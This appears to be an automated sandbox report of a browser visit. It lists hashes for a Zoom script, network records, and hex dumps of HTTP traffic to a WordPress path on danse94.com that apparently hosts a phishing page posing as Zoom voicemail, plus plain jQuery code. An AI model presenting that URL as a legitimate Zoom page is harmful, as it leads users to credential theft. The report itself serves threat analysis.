Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19727)
Category:	downloaded
Size (bytes):	22524
Entropy (8bit):	5.356475121039856
Encrypted:	false
SSDEEP:	384:mvu1VioS15klc+zj6GB2OLYVovksA0jGnf+a/GtmorY9JbffaFv9RWgCjRgkU:JWDk7zDLYuvk/+awmY2b3aFFRWbRu
MD5:	724A198EA5F36A279BB7DAAB1423B098
SHA1:	167DC9BA3CC598F99BD5D78239A568E62B4E5E34
SHA-256:	E73C8C8E34A3714386EEADA06DA5E46C2832EC45847EE5DF0445ADB7D20A3449
SHA-512:	FA2656A7A38B3C3E1A16D8A7C1DC3D44560952C69874865881027EB163BBCFD997AE2BC85638F8C4B6A6AD00ACAAF7AE5F4749119DC9E55FC4FAF4BBD0BA019D
Malicious:	false
Reputation:	low
URL:	https://st1.zoom.us/static/6.3.32395/js/app/common/monitor.min.js
Preview:	!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).__MONITOR__=t()}(this,(function(){"use strict";function e(e,t){for(var n in t)e[n]=t[n];return e}var t,n,r,o={logger:!1,enableMonitorPerf:!1,url:"/monitor",path:"",errorLimit:20,cdnDetectTargetUrl:"",cdnDetectCookieKey:"cdn_detect_result",enableMonitorGlobal:!0,enableMonitorVueError:!0,enableMonitorCdn:!0,enableTracking:!0,trackingEndpointUrl:"",debounceSeconds:300,enableDomDetect:!0,isDevEnv:!1,trackingId:""};function a(e){return null===e\|\|"object"!=typeof e&&"function"!=typeof e}function i(e){return"[object ErrorEvent]"===Object.prototype.toString.call(e)}function c(e){return"[object DOMException]"===Object.prototype.toString.call(e)}function u(e){var t=Object.prototype.toString.call(e);return"[object Error]"===t\|\|"[object Exception]"===t\|\|l(e,Error)}function s(e){return l(e,Event)}function l(e,t){

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 15, 2025 00:02:07.307710886 CET	192.168.2.8	1.1.1.1	c268	(Port unreachable)	Destination Unreachable
Mar 15, 2025 00:02:41.640979052 CET	192.168.2.8	1.1.1.1	c240	(Port unreachable)	Destination Unreachable
Mar 15, 2025 00:02:49.587008953 CET	192.168.2.8	1.1.1.1	c22b	(Port unreachable)	Destination Unreachable
Mar 15, 2025 00:02:51.795550108 CET	192.168.2.8	1.1.1.1	c26c	(Port unreachable)	Destination Unreachable
Mar 15, 2025 00:02:53.704958916 CET	192.168.2.8	1.1.1.1	c2b3	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
Mar 15, 2025 00:02:17.126400948 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 15, 2025 00:02:17.813097954 CET	223	IN	HTTP/1.1 304 Not Modified Date: Fri, 14 Mar 2025 22:24:19 GMT Expires: Fri, 14 Mar 2025 23:14:19 GMT Age: 2278 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 15, 2025 00:02:17.819474936 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 15, 2025 00:02:18.005647898 CET	222	IN	HTTP/1.1 304 Not Modified Date: Fri, 14 Mar 2025 22:48:11 GMT Expires: Fri, 14 Mar 2025 23:38:11 GMT Age: 846 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

Timestamp	Bytes transferred	Direction	Data
2025-03-14 23:02:05 UTC	704	OUT	GET /wp-content/upgrade/zoomvoicemail/chameleon/ HTTP/1.1 Host: danse94.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 23:02:05 UTC	1011	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 23:02:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close last-modified: Sun, 19 Jan 2025 18:35:51 GMT vary: Accept-Encoding strict-transport-security: max-age=31536000; includeSubDomains; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff alt-svc: h3=":443"; ma=86400 x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tSv95Q8t3yMMKUUfdomruBaPQdr0Sv4OP%2Fezt9FqbIofMZdDNTZ6CvnNrthr%2Fj66cyxz7YUHB1h%2F4sTTlncqC7%2Bnys2%2FsSjATcCICryRAZG44ZY686Xit3HVrVjWlg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9207658a2c44426b-EWR server-timing: cfL4;desc="?proto=TCP&rtt=7106&min_rtt=1599&rtt_var=4019&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1276&delivery_rate=1826141&cwnd=212&unsent_bytes=0&cid=abac7837d6182d75&ts=575&x=0"
2025-03-14 23:02:05 UTC	358	IN	Data Raw: 33 37 36 37 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 33 2e 32 2e 31 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 6a 71 75 65 72 79 2d 33 2e 33 2e 31 2e 6a 73 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 74 65 67 72 69 74 79 3d 22 73 68 61 32 35 36 2d 32 4b 6f 6b 37 4d 62 4f 79 78 70 67 55 56 76 41 6b 2f 48 4a 32 6a 69 67 4f 53 59 53 32 61 75 4b 34 50 66 7a 62 6d 37 75 48 36 30 3d Data Ascii: 3767<html lang="en"><head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> <script src="https://code.jquery.com/jquery-3.3.1.js" integrity="sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60=
2025-03-14 23:02:05 UTC	1369	IN	Data Raw: 50 6f 64 65 75 49 6e 62 51 37 43 69 53 72 53 6e 55 48 65 31 31 64 4a 70 51 38 6f 34 4a 31 44 55 2f 72 77 34 67 78 6b 2f 4f 2b 57 42 70 47 59 41 5a 62 62 38 65 31 37 43 44 45 6f 45 53 77 3d 3d 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 2f 39 6a 2f 34 41 41 51 53 6b 5a 4a 52 67 41 42 41 51 45 41 41 41 41 41 41 41 44 2f 34 51 42 43 52 58 68 70 5a 67 41 41 54 55 30 41 4b 67 41 41 41 41 67 41 41 59 64 70 41 41 51 41 41 41 41 42 41 41 41 41 47 67 41 41 41 41 41 41 41 6b 41 41 41 41 4d 41 Data Ascii: PodeuInbQ7CiSrSnUHe11dJpQ8o4J1DU/rw4gxk/O+WBpGYAZbb8e17CDEoESw==" crossorigin="anonymous"></script> <link rel="shortcut icon" href="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEAAAAAAAD/4QBCRXhpZgAATU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAAkAAAAMA
2025-03-14 23:02:05 UTC	1369	IN	Data Raw: 70 54 31 4e 4a 53 47 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 54 36 5a 54 36 61 41 61 65 74 4a 53 6e 72 53 55 67 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 Data Ascii: pT1NJSGFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABT6ZT6aAaetJSnrSUgCiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAC
2025-03-14 23:02:05 UTC	1369	IN	Data Raw: 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 6b 71 4f 6e 30 30 49 61 65 70 70 4b 55 39 61 53 6b 4d 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 67 6b 41 5a 50 41 46 41 42 55 31 70 61 58 64 2f 4d 49 4c 53 4d 75 33 38 62 6e 37 6b 59 39 57 4e 58 74 4c 30 53 37 31 49 72 4a 4a 75 67 73 38 38 75 52 68 35 50 5a 42 58 52 33 46 37 70 6d 68 78 52 57 4e 6e 41 5a 72 79 54 43 77 57 6b 41 33 53 79 4f 65 68 6b 49 6f 4f 61 70 58 73 2b 53 43 76 49 62 61 32 47 6b 2b 48 37 64 72 75 36 6c 51 79 67 66 50 50 4a 6a 4f Data Ascii: KACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKkqOn00IaeppKU9aSkMKKKKACiiigAooooAKKKKACiigkAZPAFABU1paXd/MILSMu38bn7kY9WNXtL0S71IrJJugs88uRh5PZBXR3F7pmhxRWNnAZryTCwWkA3SyOehkIoOapXs+SCvIba2Gk+H7dru6lQygfPPJjO
2025-03-14 23:02:05 UTC	1369	IN	Data Raw: 4b 46 68 30 62 48 65 75 36 30 37 56 49 4e 55 6e 76 42 41 72 65 54 62 48 43 79 4e 77 5a 44 36 67 65 6c 63 56 71 48 2f 49 51 31 44 2f 41 4b 37 4e 58 57 63 57 46 63 6c 4a 77 66 33 46 61 6a 70 31 70 56 42 5a 34 55 36 65 5a 49 6b 65 66 54 65 77 58 4e 65 69 50 34 4a 38 47 61 4e 46 42 50 72 75 71 79 2f 76 67 43 67 61 54 79 31 63 34 79 51 6f 46 54 4b 61 6a 75 65 67 6b 32 65 63 37 6c 2f 76 4c 2b 59 70 61 39 42 57 7a 2b 44 6b 6a 43 49 58 4c 4b 7a 48 61 48 61 5a 67 41 54 78 6e 4f 4b 69 76 2f 68 78 64 4e 4c 61 79 36 44 66 52 79 32 46 79 64 7a 74 63 4f 47 4d 53 48 6e 63 6a 64 36 6e 32 6b 65 75 67 2b 56 6e 42 6b 67 64 54 6a 36 38 55 41 67 39 43 44 39 4f 61 37 2f 2f 41 49 52 7a 34 62 36 50 2b 37 31 66 56 6a 63 33 58 52 31 53 58 41 56 68 31 2b 56 63 31 50 48 34 55 2b 48 Data Ascii: KFh0bHeu607VINUnvBAreTbHCyNwZD6gelcVqH/IQ1D/AK7NXWcWFclJwf3Fajp1pVBZ4U6eZIkefTewXNeiP4J8GaNFBPruqy/vgCgaTy1c4yQoFTKajuegk2ec7l/vL+Ypa9BWz+DkjCIXLKzHaHaZgATxnOKiv/hxdNLay6DfRy2FydztcOGMSHncjd6n2keug+VnBkgdTj68UAg9CD9Oa7//AIRz4b6P+71fVjc3XR1SXAVh1+Vc1PH4U+H
2025-03-14 23:02:05 UTC	1369	IN	Data Raw: 44 61 6c 34 62 6b 2b 52 6a 76 75 74 4f 64 73 77 54 4c 31 4a 6a 37 56 33 76 68 33 78 5a 70 50 69 43 4d 78 6f 54 62 36 68 45 4d 58 46 6e 50 38 73 71 4d 4f 44 74 42 36 69 76 4a 64 4b 31 36 36 30 2f 5a 44 63 62 70 37 50 49 41 35 7a 4a 44 37 71 66 53 74 2b 34 73 4c 4c 56 50 4a 31 54 54 4c 6e 37 50 66 78 34 65 43 37 74 7a 74 4f 34 66 77 79 67 56 6c 55 70 71 5a 6c 43 76 50 44 76 6c 71 36 72 75 64 42 72 6a 52 78 36 6c 71 4d 73 72 72 48 45 68 42 64 33 4f 41 42 6a 33 72 6b 70 4c 37 55 74 62 64 37 54 52 77 30 46 67 44 74 75 4c 35 77 51 58 48 63 52 31 4b 31 6a 72 32 75 33 41 6d 38 51 53 68 59 6f 63 4a 35 46 76 38 6f 75 53 76 41 64 38 55 37 55 64 63 73 74 4d 6a 46 6c 70 38 63 62 7a 6f 4e 71 72 48 6a 79 59 66 64 69 4f 70 71 4b 64 46 4c 57 52 64 58 46 4f 54 35 4b 4f 72 Data Ascii: Dal4bk+RjvutOdswTL1Jj7V3vh3xZpPiCMxoTb6hEMXFnP8sqMODtB6ivJdK1660/ZDcbp7PIA5zJD7qfSt+4sLLVPJ1TTLn7Pfx4eC7tztO4fwygVlUpqZlCvPDvlq6rudBrjRx6lqMsrrHEhBd3OABj3rkpL7Utbd7TRw0FgDtuL5wQXHcR1K1jr2u3Am8QShYocJ5Fv8ouSvAd8U7UdcstMjFlp8cbzoNqrHjyYfdiOpqKdFLWRdXFOT5KOr
2025-03-14 23:02:05 UTC	1369	IN	Data Raw: 77 53 46 31 41 65 4a 6e 50 44 71 52 32 72 31 2b 61 4b 43 37 74 35 59 5a 46 44 77 33 45 54 49 77 49 42 42 52 78 6a 6f 61 2b 63 41 43 5a 62 56 52 39 35 72 69 4a 55 2f 77 42 34 73 4b 2b 6a 37 59 45 57 39 73 44 31 45 4d 51 50 31 43 69 6e 58 69 6b 30 30 45 48 66 63 38 46 53 65 37 38 4a 65 49 37 70 37 55 73 66 73 46 79 36 53 52 39 70 72 52 6d 2b 34 66 77 72 33 4b 77 76 62 48 57 64 50 67 75 34 43 73 74 74 64 77 35 49 34 49 77 77 77 79 4d 50 30 72 78 4c 78 68 4a 47 50 45 2b 75 4f 43 41 71 2b 55 47 78 36 67 59 78 58 66 38 41 77 33 30 72 57 4c 44 54 72 69 35 76 48 61 4f 31 76 6d 45 74 70 61 4d 4f 59 6c 50 38 5a 7a 30 7a 36 56 56 5a 4a 78 55 75 6f 6f 50 57 78 30 65 68 2b 48 64 4a 38 50 70 65 4c 59 6f 51 62 71 64 35 35 47 62 42 59 41 6e 68 41 66 51 64 71 38 37 2b 49 Data Ascii: wSF1AeJnPDqR2r1+aKC7t5YZFDw3ETIwIBBRxjoa+cACZbVR95riJU/wB4sK+j7YEW9sD1EMQP1CinXik00EHfc8FSe78JeI7p7UsfsFy6SR9prRm+4fwr3KwvbHWdPgu4Csttdw5I4IwwwyMP0rxLxhJGPE+uOCAq+UGx6gYxXf8Aw30rWLDTri5vHaO1vmEtpaMOYlP8Zz0z6VVZJxUuooPWx0eh+HdJ8PpeLYoQbqd55GbBYAnhAfQdq87+I
2025-03-14 23:02:05 UTC	1369	IN	Data Raw: 65 46 2f 75 7a 4a 2f 6a 36 56 71 2b 49 2f 45 39 6a 72 36 57 4c 32 2b 6d 43 30 76 72 65 35 53 35 6d 6d 49 55 6d 51 70 67 68 64 77 48 53 6c 5a 71 54 66 52 68 64 4e 48 74 6b 50 2b 70 67 2f 77 43 75 61 66 38 41 6f 49 72 7a 58 56 76 68 31 71 39 2f 71 75 70 58 30 4f 70 57 36 52 33 63 78 6c 56 58 56 79 79 41 39 75 42 69 6f 62 50 34 6f 58 4d 53 4b 6c 39 70 57 37 61 41 75 2b 43 51 44 4f 42 6a 70 57 67 50 69 6e 6f 75 50 6d 73 4c 77 4e 36 42 63 2f 72 58 50 47 46 53 44 75 6b 61 4e 78 65 35 30 66 68 66 77 78 5a 65 47 72 53 53 4b 4e 7a 4e 64 58 44 42 37 71 34 63 66 4d 37 44 6f 42 37 43 75 66 38 41 69 54 72 63 4d 4f 6e 72 6f 6b 4d 69 6d 36 31 44 48 6e 4b 70 79 59 6f 46 4f 53 57 78 36 31 6b 36 6c 38 54 62 36 65 4e 6f 39 4a 73 66 4a 5a 67 52 35 39 79 51 78 58 50 63 4a 58 Data Ascii: eF/uzJ/j6Vq+I/E9jr6WL2+mC0vre5S5mmIUmQpghdwHSlZqTfRhdNHtkP+pg/wCuaf8AoIrzXVvh1q9/qupX0OpW6R3cxlVXVyyA9uBiobP4oXMSKl9pW7aAu+CQDOBjpWgPinouPmsLwN6Bc/rXPGFSDukaNxe50fhfwxZeGrSSKNzNdXDB7q4cfM7DoB7Cuf8AiTrcMOnrokMim61DHnKpyYoFOSWx61k6l8Tb6eNo9JsfJZgR59yQxXPcJX
2025-03-14 23:02:05 UTC	1369	IN	Data Raw: 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 66 54 4b 66 54 51 68 70 36 30 6c 4b 65 74 4a 53 47 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 Data Ascii: gAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKfTKfTQhp60lKetJSGFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFAB
2025-03-14 23:02:05 UTC	1369	IN	Data Raw: 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 66 54 4b 66 54 51 44 54 31 70 4b 73 58 43 71 4a 37 67 41 41 41 53 75 41 41 41 41 41 47 50 41 71 4c 41 39 4b 42 44 4b 4b 66 67 65 6c 47 42 36 55 57 47 4d 6f 70 2b 42 36 55 59 48 70 52 59 42 6c 46 50 77 50 53 6a 41 39 4b 42 44 4b 4b 66 67 55 59 48 70 52 59 42 6c 46 50 77 50 53 6a 41 39 4b 4c 41 4d 6f 70 2b 42 36 55 59 48 70 51 41 79 69 6e 34 48 70 52 67 55 57 47 4d 6f 70 2b 42 36 55 59 48 70 51 49 5a 52 54 38 44 30 6f 77 50 53 69 77 44 4b 4b 66 67 65 6c 47 42 36 55 41 4d 6f 70 2b 42 36 55 59 48 70 51 4d 5a 52 54 38 44 30 6f 77 50 53 67 51 79 69 6e 34 48 70 52 67 65 6c 46 67 Data Ascii: KACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKfTKfTQDT1pKsXCqJ7gAAASuAAAAAGPAqLA9KBDKKfgelGB6UWGMop+B6UYHpRYBlFPwPSjA9KBDKKfgUYHpRYBlFPwPSjA9KLAMop+B6UYHpQAyin4HpRgUWGMop+B6UYHpQIZRT8D0owPSiwDKKfgelGB6UAMop+B6UYHpQMZRT8D0owPSgQyin4HpRgelFg

Timestamp	Bytes transferred	Direction	Data
2025-03-14 23:02:06 UTC	558	OUT	GET /jquery-3.3.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive Origin: https://danse94.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://danse94.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 23:02:06 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271751 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-42587" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 596522 Date: Fri, 14 Mar 2025 23:02:06 GMT X-Served-By: cache-lga21980-LGA, cache-ewr-kewr1740024-EWR X-Cache: HIT, HIT X-Cache-Hits: 20, 0 X-Timer: S1741993326.191619,VS0,VE1 Vary: Accept-Encoding
2025-03-14 23:02:06 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 33 2e 33 2e 31 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 38 2d 30 31 2d 32 30 54 31 37 Data Ascii: /! jQuery JavaScript Library v3.3.1 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2018-01-20T17
2025-03-14 23:02:06 UTC	1378	IN	Data Raw: 2e 20 42 75 74 20 61 73 20 6f 66 20 6a 51 75 65 72 79 20 33 2e 30 20 28 32 30 31 36 29 2c 20 73 74 72 69 63 74 20 6d 6f 64 65 20 73 68 6f 75 6c 64 20 62 65 20 63 6f 6d 6d 6f 6e 0a 2f 2f 20 65 6e 6f 75 67 68 20 74 68 61 74 20 61 6c 6c 20 73 75 63 68 20 61 74 74 65 6d 70 74 73 20 61 72 65 20 67 75 61 72 64 65 64 20 69 6e 20 61 20 74 72 79 20 62 6c 6f 63 6b 2e 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 76 61 72 20 61 72 72 20 3d 20 5b 5d 3b 0a 0a 76 61 72 20 64 6f 63 75 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 0a 0a 76 61 72 20 67 65 74 50 72 6f 74 6f 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 0a 0a 76 61 72 20 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 3b 0a 0a 76 61 72 20 63 6f 6e 63 Data Ascii: . But as of jQuery 3.0 (2016), strict mode should be common// enough that all such attempts are guarded in a try block."use strict";var arr = [];var document = window.document;var getProto = Object.getPrototypeOf;var slice = arr.slice;var conc
2025-03-14 23:02:06 UTC	1378	IN	Data Raw: 63 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 3b 0a 09 7d 0a 0a 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 54 79 70 65 28 20 6f 62 6a 20 29 20 7b 0a 09 69 66 20 28 20 6f 62 6a 20 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 6f 62 6a 20 2b 20 22 22 3b 0a 09 7d 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 41 6e 64 72 6f 69 64 20 3c 3d 32 2e 33 20 6f 6e 6c 79 20 28 66 75 6e 63 74 69 6f 6e 69 73 68 20 52 65 67 45 78 70 29 0a 09 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 6f 62 6a 65 63 74 22 20 7c 7c 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 3f 0a 09 Data Ascii: c.head.appendChild( script ).parentNode.removeChild( script );}function toType( obj ) {if ( obj == null ) {return obj + "";}// Support: Android <=2.3 only (functionish RegExp)return typeof obj === "object" \|\| typeof obj === "function" ?
2025-03-14 23:02:06 UTC	1378	IN	Data Raw: 7b 0a 09 09 09 72 65 74 75 72 6e 20 73 6c 69 63 65 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 52 65 74 75 72 6e 20 6a 75 73 74 20 74 68 65 20 6f 6e 65 20 65 6c 65 6d 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 73 65 74 0a 09 09 72 65 74 75 72 6e 20 6e 75 6d 20 3c 20 30 20 3f 20 74 68 69 73 5b 20 6e 75 6d 20 2b 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 5d 20 3a 20 74 68 69 73 5b 20 6e 75 6d 20 5d 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 54 61 6b 65 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 29 0a 09 70 75 73 68 53 Data Ascii: {return slice.call( this );}// Return just the one element from the setreturn num < 0 ? this[ num + this.length ] : this[ num ];},// Take an array of elements and push it onto the stack// (returning the new matched element set)pushS
